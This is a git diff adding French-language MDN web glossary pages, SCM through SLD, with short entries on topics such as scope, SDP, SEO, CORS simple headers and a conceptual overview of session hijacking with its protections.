+ + diff --git a/files/fr/glossary/scm/index.html b/files/fr/glossary/scm/index.html new file mode 100644 index 0000000000..cd776d65af --- /dev/null +++ b/files/fr/glossary/scm/index.html @@ -0,0 +1,20 @@ +--- +title: SCM +slug: Glossaire/SCM +tags: + - CodingScripting + - Glossaire + - SCM +translation_of: Glossary/SCM +--- +

SCM (Source Control Management) est un système de gestion de code source. Habituellement, il s'agit de l'utilisation de logiciels pour gérer les différentes versions des fichiers sources. Un programmeur peut modifier les fichiers de code source sans se préoccuper de l'édition de détails utiles car un SCM conserve la trace des modifications du code source et de qui a fait les modifications.

+ +

Parmi les systèmes de SCM figurent CVS, SVN, GIT.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Gestion de versions")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/scope/index.html b/files/fr/glossary/scope/index.html new file mode 100644 index 0000000000..f8f6854aaa --- /dev/null +++ b/files/fr/glossary/scope/index.html @@ -0,0 +1,19 @@ +--- +title: Portée +slug: Glossaire/Portée +tags: + - Encodage + - Glossaire +translation_of: Glossary/Scope +--- +

Le contexte d'{{glossary("exécuter","exécution")}} courant. Le contexte dans lequel les {{glossary("Value","valeurs")}} et expressions sont "visibles," ou peuvent être référencées. Si une {{glossary("variable")}} ou autre expression n'est pas "dans la portée actuelle", alors son utilisation ne sera pas possible. Les portées peuvent aussi être empilées hiérarchiquement de manière à ce que les portées enfants puissent accéder aux portées parentes, mais pas l'inverse.

+ +

Une {{glossary("fonction")}} sert de fermeture en {{glossary("JavaScript")}}, et crée ainsi une portée, pour cette raison, par exemple, une variable définie exclusivement à l'intérieur de la fonction ne sera pas accessible en dehors de celle-ci ni depuis d'autres fonctions.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Portée (informatique)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/script-supporting_element/index.html b/files/fr/glossary/script-supporting_element/index.html new file mode 100644 index 0000000000..2b76edd03c --- /dev/null +++ b/files/fr/glossary/script-supporting_element/index.html @@ -0,0 +1,17 @@ +--- +title: Éléments supports de script +slug: Glossaire/Éléments_supports_de_script +tags: + - Contenus + - Glossaire + - HTML + - scripts +translation_of: Glossary/Script-supporting_element +--- +

Dans un document {{Glossary("HTML")}}, script-supporting elements (éléments supports de scripts) sont les éléments qui ne contribuent pas directement à l'apparence ou à la disposition de la page ; à la place, ce sont soit des scripts, soit des informations qui ne sont utilisées que par les scripts. Ces éléments peuvent être importants, mais n'affectent pas la page affichée à moins que les scripts de la page ne les y incitent explicitement.

+ +

Il n'y a que deux éléments supports de scripts : {{HTMLElement("script")}} et {{HTMLElement("template")}}.

+ +

Référence technique

+ +

Pour en apprendre plus, voir {{SectionOnPage("/fr/docs/Web/HTML/Catégorie_de_contenu","Éléments supports de script")}}.

diff --git a/files/fr/glossary/sctp/index.html b/files/fr/glossary/sctp/index.html new file mode 100644 index 0000000000..db570b4cb3 --- /dev/null +++ b/files/fr/glossary/sctp/index.html @@ -0,0 +1,19 @@ +--- +title: SCTP +slug: Glossaire/SCTP +tags: + - Glossaire + - Infrastructure + - Protocoles +translation_of: Glossary/SCTP +--- +

SCTP (Stream Control Transmission {{glossary("Protocol")}}) est un standard {{Glossary ("IETF")}} pour un protocole de transport qui permet la transmission fiable et en ordre des messages tout en offrant un contrôle d'encombrement, de multiples autoguidages et d'autres fonctionnalités pour améliorer la fiabilité et la stabilité de la connexion. Il est utilisé pour envoyer des appels téléphoniques traditionnels sur Internet, mais il est également utilisé pour les données {{Glossary("WebRTC")}}.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{RFC(4960, "Stream Control Transmission Protocol")}}
    • +
  • {{Interwiki("wikipedia","Stream_Control_Transmission_Protocol","Stream Control Transmission Protocol")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/sdp/index.html b/files/fr/glossary/sdp/index.html new file mode 100644 index 0000000000..cf708be673 --- /dev/null +++ b/files/fr/glossary/sdp/index.html @@ -0,0 +1,38 @@ +--- +title: SDP +slug: Glossaire/SDP +tags: + - Avancé + - Collaboratif + - Glossaire + - Infrastructure + - WebRTC + - protocole +translation_of: Glossary/SDP +--- +

SDP (Session Description {{glossary("Protocol")}}) est le standard décrivant une connexion {{Glossary("P2P","pair-à-pair")}}. SDP contient le {{Glossary("codec")}}, l'adresse source, et des informations temporelles pour l'audio et la vidéo.

+ +

Voici un message SDP typique :

+ +
   v=0
+   o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
+   s=
+   c=IN IP4 host.anywhere.com
+   t=0 0
+   m=audio 49170 RTP/AVP 0
+   a=rtpmap:0 PCMU/8000
+   m=video 51372 RTP/AVP 31
+   a=rtpmap:31 H261/90000
+   m=video 53000 RTP/AVP 32
+   a=rtpmap:32 MPV/90000
+ +

SDP n'est jamais employé seul, mais des protocoles comme {{Glossary("RTP")}} et {{Glossary("RTSP")}} l'utilisent. SDP est également un composant de {{Glossary("WebRTC")}}, ce dernier se servant de SDP pour décrire une session.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Protocoles WebRTC
    • +
  • {{Interwiki("wikipedia", "Session Description Protocol")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/search_engine/index.html b/files/fr/glossary/search_engine/index.html new file mode 100644 index 0000000000..6cc6eb3c7e --- /dev/null +++ b/files/fr/glossary/search_engine/index.html @@ -0,0 +1,33 @@ +--- +title: Moteur de recherche +slug: Glossaire/Moteur_de_recherche +tags: + - Glossaire + - Moteur de recherche + - Mécanismes web + - Navigation + - Recherche + - Web +translation_of: Glossary/Search_engine +--- +

Un moteur de recherche est un système logiciel qui collecte des informations à partir du {{Glossary("World Wide Web")}} et qui les présente aux utilisateurs qui recherchent des informations spécifiques.

+ +

Un moteur de recherche dirige les processus suivants :

+ +
    +
  • Robot d'indexation : Recherche de sites web par le parcours des {{Glossary("Hyperlink","Hyperliens")}} contenus sur les pages web, à la fois à l'intérieur d'un site, mais aussi d'un site vers un autre site. Le propriétaire d'un site web peut empêcher les robots d'indexation (ou araignées) des moteurs de recherche d'accéder à des zones du site en spécifiant l'information "robot exclusion" dans un fichier nommé robots.txt pour les exclure.
    • +
  • Indexation : Association de mots-clés et d'autres informations avec des pages web spécifiques qui ont été parcourues. Cela permet aux utilisateurs de trouver des pages pertinentes le plus rapidement possible.
    • +
  • Recherche : Recherche de pages web pertinentes basée sur des requêtes constituées de mots-clés et d'autres commandes adressées au moteur de recherche. Ce dernier trouve les URLs des pages qui correspondent à la requête et les classe en fonction de leur pertinence. Il présente ensuite les résultats à l'utilisateur dans l'ordre d'importance.
    • +
+ +

Le moteur de recherche le plus populaire est Google. Parmi d'autres moteurs de recherche populaires figurent Yahoo!, Bing, Baidu et AOL.

+ +

Pour approfondir

+ + + +

 

diff --git a/files/fr/glossary/second-level_domain/index.html b/files/fr/glossary/second-level_domain/index.html new file mode 100644 index 0000000000..0fcd2fe833 --- /dev/null +++ b/files/fr/glossary/second-level_domain/index.html @@ -0,0 +1,9 @@ +--- +title: Domaine de deuxième niveau +slug: Glossaire/Domaine_deuxième-niveau +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Second-level_Domain +--- +

{{page("/fr/docs/Glossaire/SLD")}}

diff --git a/files/fr/glossary/self-executing_anonymous_function/index.html b/files/fr/glossary/self-executing_anonymous_function/index.html new file mode 100644 index 0000000000..4d12be2f8f --- /dev/null +++ b/files/fr/glossary/self-executing_anonymous_function/index.html @@ -0,0 +1,10 @@ +--- +title: Fonction anonyme auto-exécutante +slug: Glossaire/fonction_anonyme_auto-executante +tags: + - Glossary +translation_of: Glossary/Self-Executing_Anonymous_Function +--- +

Une {{glossary("fonction")}} {{glossary("JavaScript")}} qui se lance dès qu'elle est définie. Aussi connu en tant que IIFE (Immediately Invoked Function Expression ou Expression-fonction immédiatement invoquée).

+ +

Voir {{glossary("IIFE")}} pour plus d'informations.

diff --git a/files/fr/glossary/semantics/index.html b/files/fr/glossary/semantics/index.html new file mode 100644 index 0000000000..9fd72fc006 --- /dev/null +++ b/files/fr/glossary/semantics/index.html @@ -0,0 +1,54 @@ +--- +title: Sémantique +slug: Glossaire/Sémantique +tags: + - Glossaire + - HTML + - Programmation + - sémantique +translation_of: Glossary/Semantics +--- +

En programmation, la sémantique fait référence au sens d'une partie de code — par exemple "quel effet aura l'exécution de cette ligne de JavaScript ?", ou "quel est le rôle ou le but de cet élément HTML" (plutôt que "à quoi ressemble-t-il ?".)

+ +

Par exemple, l'élément {{htmlelement("h1")}} est un élément sémantique qui donne au texte qu'il contient le rôle (ou le sens) de "titre de premier niveau de votre page."

+ +
<h1>Ceci est un titre de premier niveau</h1>
+ +

Par défaut, il se verra attribué une police de caractères plus grande pour le faire ressembler à un titre (bien que vous puissiez lui appliquer un style pour qu'il ressemble à tout ce que vous voulez), mais, plus important, sa valeur sémantique sera utilisée de différentes façons ; par exemple, les moteurs de recherche considéreront son contenu comme des mots-clés importants qui seront pris en compte pour classer les résultats de recherche (voir {{glossary("SEO")}}), et les lecteurs d'écran peuvent l'utiliser comme un indicateur pour aider les utilisateurs déficients visuels à naviguer sur la page.

+ +

Par ailleurs, vous pouvez faire ressembler n'importe quel élément à un titre de premier niveau. Considérons le code suivant :

+ +
<span style="font-size: 32px; margin: 21px 0;">Est-ce un titre de premier niveau ?</span>
+ +

Cela sera affiché comme un titre de premier niveau mais sans en avoir la valeur sémantique, il n'y aura donc aucun des bénéfices supplémentaires tels que ceux décrits ci-dessus. Il vaut donc mieux utiliser l'élément HTML correct pour la tâche recherchée.

+ +

Les éléments sémantiques

+ +

Ce sont quelques-uns des éléments sémantiques (source) .

+ +
    +
  • {{htmlelement("article")}}
    • +
  • {{htmlelement("aside")}}
    • +
  • {{htmlelement("details")}}
    • +
  • {{htmlelement("figcaption")}}
    • +
  • {{htmlelement("figure")}}
    • +
  • {{htmlelement("footer")}}
    • +
  • {{htmlelement("header")}}
    • +
  • {{htmlelement("main")}}
    • +
  • {{htmlelement("mark")}}
    • +
  • {{htmlelement("nav")}}
    • +
  • {{htmlelement("section")}}
    • +
  • {{htmlelement("summary")}}
    • +
  • {{htmlelement("time")}}
    • +
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/seo/index.html b/files/fr/glossary/seo/index.html new file mode 100644 index 0000000000..a6126f19de --- /dev/null +++ b/files/fr/glossary/seo/index.html @@ -0,0 +1,40 @@ +--- +title: SEO +slug: Glossaire/SEO +tags: + - Glossaire + - Mécanismes web + - Recherches + - Visibilité +translation_of: Glossary/SEO +--- +

SEO (Search Engine Optimization ou, en français, Optimisation pour les moteurs de recherche) est le processus permettant de rendre un site web plus visible dans les résultats de recherche, également appelé amélioration des classements de recherche.

+ +

Les moteurs de recherche explorent le web, suivant les liens de page en page, et indexent le contenu trouvé. Lorsque vous effectuez une recherche, le moteur de recherche affiche le contenu indexé. Les parcours suivent des règles. Si vous suivez ces mêmes règles de près lors du référencement d'un site web, vous donnez au site les meilleures chances d'apparaître parmi les premiers résultats, augmentant le trafic et éventuellement les revenus (pour le commerce électronique et les publicités).

+ +

Les moteurs de recherche donnent quelques lignes directrices pour le référencement, mais les gros moteurs de recherche gardent le classement des résultats comme un secret commercial. SEO combine les directives officielles des moteurs de recherche, les connaissances empiriques et les connaissances théoriques tirées de documents scientifiques ou de brevets.

+ +

Les méthodes de SEO se répartissent en trois grandes classes :

+ +
+
technique
+
Marque le contenu en utilisant la sémantique {{Glossary("HTML")}}. Lors de l'exploration du site Web, les robots d'exploration ne doivent trouver que le contenu que vous souhaitez indexer.
+
copie-l'écriture (copywriting)
+
Ecrit du contenu en utilisant le vocabulaire de vos visiteurs. Utilise du texte ainsi que des images pour que les robots puissent comprendre le sujet.
+
popularité
+
Vous obtenez plus de trafic lorsque d'autres sites établis pointent vers votre site.
+
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Optimisation_pour_les_moteurs_de_recherche","Optimisation pour les moteurs de recherche")}} sur Wikipedia
    • +
+ +

Apprendre SEO

+ +
    +
  • Google Webmasters propose de l'aide aux webmasters pour être visible sur le web (documentation et outils)
    • +
diff --git a/files/fr/glossary/serialization/index.html b/files/fr/glossary/serialization/index.html new file mode 100644 index 0000000000..f98873d1e8 --- /dev/null +++ b/files/fr/glossary/serialization/index.html @@ -0,0 +1,24 @@ +--- +title: Sérialisation +slug: Glossaire/Sérialisation +tags: + - CSS + - Encodage + - Glossaire + - JavaScript + - Sérialisation +translation_of: Glossary/Serialization +--- +

Le processus par lequel un objet ou une structure de données est traduit dans un format approprié pour un transfert sur un réseau, ou un stockage (par exemple dans un tampon de tableau ou un format de fichier).

+ +

Dans {{Glossary("JavaScript")}}, par exemple, vous pouvez sérialiser un objet d'une {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} par appel de la {{Glossary("function","fonction")}} {{jsxref("JSON.stringify()")}}.

+ +

Les valeurs de {{Glossary("CSS")}} sont sérialisées par appel de la fonction {{domxref("CSSStyleDeclaration.getPropertyValue()")}}.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/server/index.html b/files/fr/glossary/server/index.html new file mode 100644 index 0000000000..8033dfcb5a --- /dev/null +++ b/files/fr/glossary/server/index.html @@ -0,0 +1,25 @@ +--- +title: Serveur +slug: Glossaire/Serveur +tags: + - Glossaire + - Infrastructure + - Réseau + - Serveur + - protocole +translation_of: Glossary/Server +--- +

Un serveur matériel est un ordinateur partagé sur un réseau qui fournit des services à des clients. Un serveur logiciel est un programme qui fournit des services à des programmes clients.

+ +

Les services sont généralement fournis sur des réseaux locaux ou sur des réseaux étendus. Un programme client et un programme serveur se connectent habituellement en s'échangeant des messages codés en utilisant un {{glossary("Protocol","protocole")}}.

+ +

Les serveurs les plus courants sur les réseaux locaux sont les serveurs de fichiers, de noms, de courrier électronique, d'impression et de fax. Un serveur Web connecté à Internet est un autre exemple de serveur classique. Les mini-ordinateurs, les mainframes et les super-ordinateurs des datacenters sont aussi des serveurs.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/session_hijacking/index.html b/files/fr/glossary/session_hijacking/index.html new file mode 100644 index 0000000000..6fd708c22b --- /dev/null +++ b/files/fr/glossary/session_hijacking/index.html @@ -0,0 +1,54 @@ +--- +title: Détournement de session +slug: Glossaire/Détournement_de_session +tags: + - Attaques + - Glossaire + - Sécurité +translation_of: Glossary/Session_Hijacking +--- +

Le détournement de session se produit lorsqu'un attaquant prend le contrôle d'une session valide entre deux ordinateurs. L'attaquant vole un identifiant de session valide afin de pénétrer dans le système et de fouiller les données.

+ +

Le plus souvent, l'authentification se produit seulement au début d'une session {{glossary("TCP")}}. Dans un détournement de session TCP, un attaquant obtient l'accès en prenant en charge une session TCP entre deux machines en milieu de session.

+ +

+ +

Le piratage de session se produit parce que

+ +
    +
  • pas de verrouillage de compte pour les ID de session non valides
    • +
  • faible algorithme de génération d'ID de session
    • +
  • manipulation insécurisée
    • +
  • temps d'expiration de session indéfini
    • +
  • ID de session courte
    • +
  • transmission en texte clair
    • +
+ +

Le processus de piratage de session

+ +
    +
  1. Sniffez, c'est-à-dire effectuez une attaque d'homme-dans-le-milieu (MitM), placez-vous entre la victime et le serveur.
    2. +
  2. Surveillez les paquets circulant entre le serveur et l'utilisateur.
    3. +
  3. Brisez la connexion de la machine victime.
    4. +
  4. Prenez le contrôle de la session.
    5. +
  5. Injectez de nouveaux paquets au serveur en utilisant l'ID de session de la victime.
    6. +
+ +

Protection contre le détournement de session

+ +
    +
  • créer un canal de communication sécurisé avec SSH (shell sécurisé)
    • +
  • passer les cookies d'authentification sur une connexion HTTPS
    • +
  • implémenter la fonctionnalité de déconnexion afin que l'utilisateur puisse terminer la session
    • +
  • générer l'ID de session après la réussire de la connexion
    • +
  • transmettre des données chiffrées entre les utilisateurs et le serveur web
    • +
  • utiliser une chaîne ou un long nombre aléatoire comme clé de session
    • +
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Hijacking")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/sgml/index.html b/files/fr/glossary/sgml/index.html new file mode 100644 index 0000000000..36f5ec9dbb --- /dev/null +++ b/files/fr/glossary/sgml/index.html @@ -0,0 +1,19 @@ +--- +title: SGML +slug: SGML +tags: + - Glossaire + - Programmation + - SGML +translation_of: Glossary/SGML +--- +

SGML (Standard Generalized Markup Language) est une spécification {{glossary("ISO")}} pour définir des langages de balisage générique pour des documents.

+ +

Sur le web, {{glossary("HTML")}} 4, {{glossary("XHTML")}} et {{glossary("XML")}} sont des exemples populaires de langages basés sur SGML. On peut remarquer que depuis sa cinquième édition, HTML n'est désormais plus basé sur SGML et possède ses propres règles d'analyse.

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/shim/index.html b/files/fr/glossary/shim/index.html new file mode 100644 index 0000000000..afdb055a85 --- /dev/null +++ b/files/fr/glossary/shim/index.html @@ -0,0 +1,17 @@ +--- +title: Shim +slug: Glossaire/Shim +tags: + - Encodage + - Glossaire +translation_of: Glossary/Shim +--- +

Un shim est un morceau de code utilisé pour corriger le comportement du code qui existe déjà, généralement en ajoutant une nouvelle API qui contourne le problème. Cela diffère d'un {{Glossary("polyfill")}} qui implémente une nouvelle API non supportée par le navigateur de stock tel qu'il est livré.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Shim (computing)", "Shim")}} sur Wikipedia (en)
    • +
diff --git a/files/fr/glossary/signature/function/index.html b/files/fr/glossary/signature/function/index.html new file mode 100644 index 0000000000..68f26990b6 --- /dev/null +++ b/files/fr/glossary/signature/function/index.html @@ -0,0 +1,57 @@ +--- +title: Signature (fonctions) +slug: Glossaire/Signature/Fonction +tags: + - Glossaire + - Java + - JavaScript + - Programmation +translation_of: Glossary/Signature/Function +--- +

Une signature de fonction (ou signature de type, ou signature de méthode) définit les entrées et sorties des {{Glossary("Function", "fonctions")}} et des {{Glossary("Method", "méthodes")}}.

+ +

Une signature peut comporter :

+ +
    +
  • Des {{Glossary("Parameter", "paramètres")}} et leurs {{Glossary("Type", "types")}}
    • +
  • une valeur et un type de retour
    • +
  • des {{Glossary("Exception", "exceptions")}} susceptibles d'être déclenchées ou reçues
    • +
  • des informations sur la disponibilité de la méthode dans un programme {{Glossary("OOP", "orienté objet")}} (telles que les mots-clés public, static, ou prototype).
    • +
+ +

En détail

+ +

Signatures en JavaScript

+ +

{{Glossary("JavaScript")}} est un langage à typage faible et dynamique. Cela signifie que vous n'avez pas à déclarer le type d'une variable à l'avance. Il sera déterminé automatiquement pendant le traitement du programme. Une signature en JavaScript peut vous apporter certaines informations sur la méthode :

+ +
MonObjet.prototype.maFonction(valeur)
+ +
    +
  • La méthode est installée sur un {{Glossary("Object","objet")}} appelé MonObjet.
    • +
  • La méthode est installée sur le prototype de MonObjet (c'est par conséquent une {{Glossary("Method","méthode")}} d'instance) par opposition à une {{Glossary("Method","méthode")}} statique.
    • +
  • Le nom de la méthode est maFonction.
    • +
  • La méthode accepte un paramètre appelé valeur et n'est pas définie.
    • +
+ +

Signatures en Java

+ +

En {{Glossary("Java")}}, les signatures servent à identifier les méthodes et les classes au niveau du code de la machine virtuelle. Vous devez déclarer les types des variables dans votre code Java afin de pouvoir l'exécuter. Java est à typage fort et vérifiera que chaque paramètre est correct au moment de la compilation.

+ +
public static void main(String[] args)
+ +
    +
  • Le mot-clé public est un modificateur d'accessibilité et indique que cette méthode peut être appelée par n'importe quel objet.
    • +
  • Le mot-clé static indique qu'il s'agit d'une méthode de classe, et pas de son opposé, à savoir une méthode d'instance.
    • +
  • Le mot-clé void indique que cette méthode n'a pas de valeur de retour.
    • +
  • Le nom de la méthode est main.
    • +
  • La méthode accepte un paramètre de type tableau de chaînes. Il est nommé args.
    • +
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Signature de type#Java", "Signatures de type interne en Java")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/signature/index.html b/files/fr/glossary/signature/index.html new file mode 100644 index 0000000000..2d3784ee3d --- /dev/null +++ b/files/fr/glossary/signature/index.html @@ -0,0 +1,17 @@ +--- +title: Signature +slug: Glossaire/Signature +tags: + - Glossaire + - Homonymie +translation_of: Glossary/Signature +--- +

Le terme signature peut avoir plusieurs significations selon le contexte. Il peut s'agir de :

+ +

{{GlossaryDisambiguation}}

+ +

Pour approfondir

+ +
    +
  • {{Interwiki("wikipedia", "Signature_(homonymie)", "Signature")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/signature/security/index.html b/files/fr/glossary/signature/security/index.html new file mode 100644 index 0000000000..6c3de48518 --- /dev/null +++ b/files/fr/glossary/signature/security/index.html @@ -0,0 +1,37 @@ +--- +title: Signature (sécurité) +slug: Glossaire/Signature/Sécurité +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Signature/Security +--- +

Une signature, ou signature numérique, est un {{glossary("protocol","protocole")}} montrant l'authenticité d'un message.

+ +

À partir du {{glossary("hash")}} d'un message donné, le processus de signature génère d'abord une signature numérique liée à l'entité qui effectue la signature, en utilisant la {{glossary("clé")}} privée de l'entité.

+ +

À la réception du message, le processus de vérification

+ +
    +
  • authentifie l'émetteur - utilise la clé publique de l'émetteur pour {{glossary("decryption","déchiffrer")}} la signature et récupérer le hash qui ne peut être créer qu'avec la clé privée de l'émetteur, et
    • +
  • contrôle l'intégrité du message - compare le hash avec celui nouvellement calculé à partir du document reçu (les deux hashs seront différents si le document a été falsifié)
    • +
+ +

Le système échoue si la clé privée est compromise ou si le destinataire donne trompeusement une fausse clé publique.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Signature numérique")}} sur Wikipédia
    • +
  • Voir {{glossary("digest")}}, {{glossary("encryption")}}
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/simd/index.html b/files/fr/glossary/simd/index.html new file mode 100644 index 0000000000..5a1beb0422 --- /dev/null +++ b/files/fr/glossary/simd/index.html @@ -0,0 +1,21 @@ +--- +title: SIMD +slug: Glossaire/SIMD +tags: + - CodingScripting + - Glossaire + - JavaScript +translation_of: Glossary/SIMD +--- +

SIMD (prononcé "seem-dee") est l'acronyme de Single Instruction/Multiple Data (instruction unique/données multiples) qui est une des {{Interwiki("wikipedia","Taxinomie_de_Flynn","catégories d'architecture d'ordinateurs")}}. SIMD permet à une même opération d'être réalisée sur plusieurs données, ce qui résulte en une parallélisation au niveau des données et par conséquent apporte un gain de performances, par exemple dans le traitement de graphismes 3D ou vidéo, dans les simulations physiques ou la cryptographie et d'autres domaines encore.

+ +

Voir aussi {{Glossary("SISD")}} qui est une architecture séquentielle sans parallélisme, que ce soit pour le jeu d'instructions ou les données.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{jsxref("Objets_globaux/SIMD","SIMD en JavaScript","","true")}}
    • +
  • {{Interwiki("wikipedia", "SIMD")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/simple_header/index.html b/files/fr/glossary/simple_header/index.html new file mode 100644 index 0000000000..f65b20bf84 --- /dev/null +++ b/files/fr/glossary/simple_header/index.html @@ -0,0 +1,39 @@ +--- +title: En-tête simple +slug: Glossaire/En-tête_simple +tags: + - CORS + - En-têtes + - Glossaire + - HTTP +translation_of: Glossary/Simple_header +--- +

Un en-tête simple (ou en-tête de requête sécurisé CORS) est l'un des en-têtes HTTP suivants :

+ +
    +
  • {{HTTPHeader("Accept")}},
    • +
  • {{HTTPHeader("Accept-Language")}},
    • +
  • {{HTTPHeader("Content-Language")}},
    • +
  • {{HTTPHeader("Content-Type")}} avec un type MIME de sa valeur analysée (ignorant les paramètres) et l'un des application/x-www-form-urlencoded, multipart/form-data ou text/plain.
    • +
+ +

Ou l'un de ces en-têtes d'indication de client :

+ +
    +
  • {{HTTPHeader("DPR")}}
    • +
  • {{HTTPHeader("Downlink")}}
    • +
  • {{HTTPHeader("Save-Data")}}
    • +
  • {{HTTPHeader("Viewport-Width")}}
    • +
  • {{HTTPHeader("Width")}}
    • +
+ +

Lorsqu'elles ne contiennent que de simples en-têtes, les requêtes sont réputées simples et n'ont pas besoin d'envoyer une {{glossary("preflight request","requête de pré-vérification")}} dans le contexte de CORS.

+ +

En apprendre plus

+ +
    +
  • En-têtes HTTP
    • +
  • {{Glossary("Simple response header","En-tête de réponse simple")}}
    • +
  • {{Glossary("Forbidden header name","Nom d'en-tête interdit")}}
    • +
  • {{Glossary("Request header","En-tête de requête")}}
    • +
diff --git a/files/fr/glossary/simple_response_header/index.html b/files/fr/glossary/simple_response_header/index.html new file mode 100644 index 0000000000..cc3200ba7b --- /dev/null +++ b/files/fr/glossary/simple_response_header/index.html @@ -0,0 +1,39 @@ +--- +title: En-tête de réponse simple +slug: Glossaire/En-tête_de_réponse_simple +tags: + - En-têtes + - Glossaire + - HTTP +translation_of: Glossary/Simple_response_header +--- +

Un en-tête de réponse simple (ou un en-tête de réponse sécurisé CORS) est un en-tête HTTP qui a été sécurisé pour ne pas être filtré lorsque les réponses sont traitées par CORS, car elles sont considérées comme sûres (comme les en-têtes listés dans {{HTTPHeader("Access-Control-Expose-Headers")}}). Par défaut, la liste des réponses sûres inclut les en-têtes de réponse suivants :

+ +
    +
  • {{HTTPHeader("Cache-Control")}}
    • +
  • {{HTTPHeader("Content-Language")}}
    • +
  • {{HTTPHeader("Content-Type")}}
    • +
  • {{HTTPHeader("Expires")}}
    • +
  • {{HTTPHeader("Last-Modified")}}
    • +
  • {{HTTPHeader("Pragma")}}
    • +
+ +

Exemples

+ +

Extension de la liste des en-têtes sécurisés

+ +

Vous pouvez étendre la liste des en-têtes de réponse sécurisés CORS en utilisant l'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} :

+ +
Access-Control-Expose-Headers: X-Custom-Header, Content-Length
+ +

En apprendre plus

+ +
    +
  • HTTP
    • +
  • En-têtes HTTP
    • +
  • {{HTTPHeader("Access-Control-Expose-Headers")}}
    • +
  • {{Glossary("CORS")}}
    • +
  • {{Glossary("Simple header","En-tête simple")}}
    • +
  • {{Glossary("Forbidden header name","Noms d'en-tête interdits")}}
    • +
  • {{Glossary("Request header","En-tête de requête")}}
    • +
diff --git a/files/fr/glossary/sisd/index.html b/files/fr/glossary/sisd/index.html new file mode 100644 index 0000000000..00976a4d8b --- /dev/null +++ b/files/fr/glossary/sisd/index.html @@ -0,0 +1,19 @@ +--- +title: SISD +slug: Glossaire/SISD +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/SISD +--- +

SISD signifie Single Instruction/Single Data et est une des {{Interwiki("wikipedia","Taxinomie_de_Flynn","catégories d'architecture des ordinateurs")}}. Avec une architecture SISD, un processeur unique exécute une instruction unique et opère sur un flux de données unique en mémoire.

+ +

Voir aussi {{Glossary("SIMD")}} pour une architecture parallèle qui permet d'effectuer une même opération sur plusieurs données.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "SISD")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/site/index.html b/files/fr/glossary/site/index.html new file mode 100644 index 0000000000..99b69d68b3 --- /dev/null +++ b/files/fr/glossary/site/index.html @@ -0,0 +1,62 @@ +--- +title: Site +slug: Glossaire/Site +tags: + - Glossaire + - Sécurité + - WebMécanique +translation_of: Glossary/Site +--- +

Le site d'un élément de contenu Web est déterminé par le domaine enregistrable de l'hôte au sein de l'origine. Ceci est calculé en consultant une liste de suffixes publics pour trouver la partie de l'hôte qui est comptée comme suffixe public (par exemple, com, org ou co.uk).

+ +

Le concept de site est utilisé dans les cookies SameSite, ainsi que dans la politique de ressources inter-origines d'une application Web.

+ +

Exemple du même site

+ + + + + + + + + + + + +
https://developer.mozilla.org/en-US/docs/
+ https://support.mozilla.org/en-US/		même site car le domaine enregistrable de mozilla.org est le même
http://example.com:8080
+ https://example.com		même site car le schéma et le port ne sont pas pertinents
+ +

Exemples de sites différents

+ + + + + + + + +
https://developer.mozilla.org/en-US/docs/
+ https://example.com		pas le même site car le domaine enregistrable des deux URL diffère
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('URL', '#host-same-site')}}{{Spec2('URL')}}Définition initiale
diff --git a/files/fr/glossary/site_map/index.html b/files/fr/glossary/site_map/index.html new file mode 100644 index 0000000000..7f8ea08208 --- /dev/null +++ b/files/fr/glossary/site_map/index.html @@ -0,0 +1,11 @@ +--- +title: Site map +slug: Glossaire/Site_map +tags: + - Accessibilité + - Chercher + - Glossaire + - Site map +translation_of: Glossary/Site_map +--- +

Une site map ou sitemap est une liste de pages d'un site web, un plan du site. Les listes structurées de la page d'un site aident à l'optimisation des moteurs de recherche, en fournissant un lien aux robots d'exploration tels que les moteurs de recherche à suivre. Les site maps aident également les utilisateurs à naviguer sur le site en fournissant un aperçu du contenu d'un site en un seul coup d'œil.

diff --git a/files/fr/glossary/sld/index.html b/files/fr/glossary/sld/index.html new file mode 100644 index 0000000000..f660fbded1 --- /dev/null +++ b/files/fr/glossary/sld/index.html @@ -0,0 +1,21 @@ +--- +title: SLD +slug: Glossaire/SLD +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/SLD +--- +

Un SLD (Second Level Domain) est un domaine qui est hiérarchiquement directement sous un {{Glossary("TLD")}}.

+ +

Il est en général utilisé comme un moyen de différencier les différentes fonctions d'un serveur ou pour délimiter des zones sous un même domaine. Par exemple, www est un SLD habituellement utilisé pour indiquer le domaine qui pointe vers un serveur web.

+ +

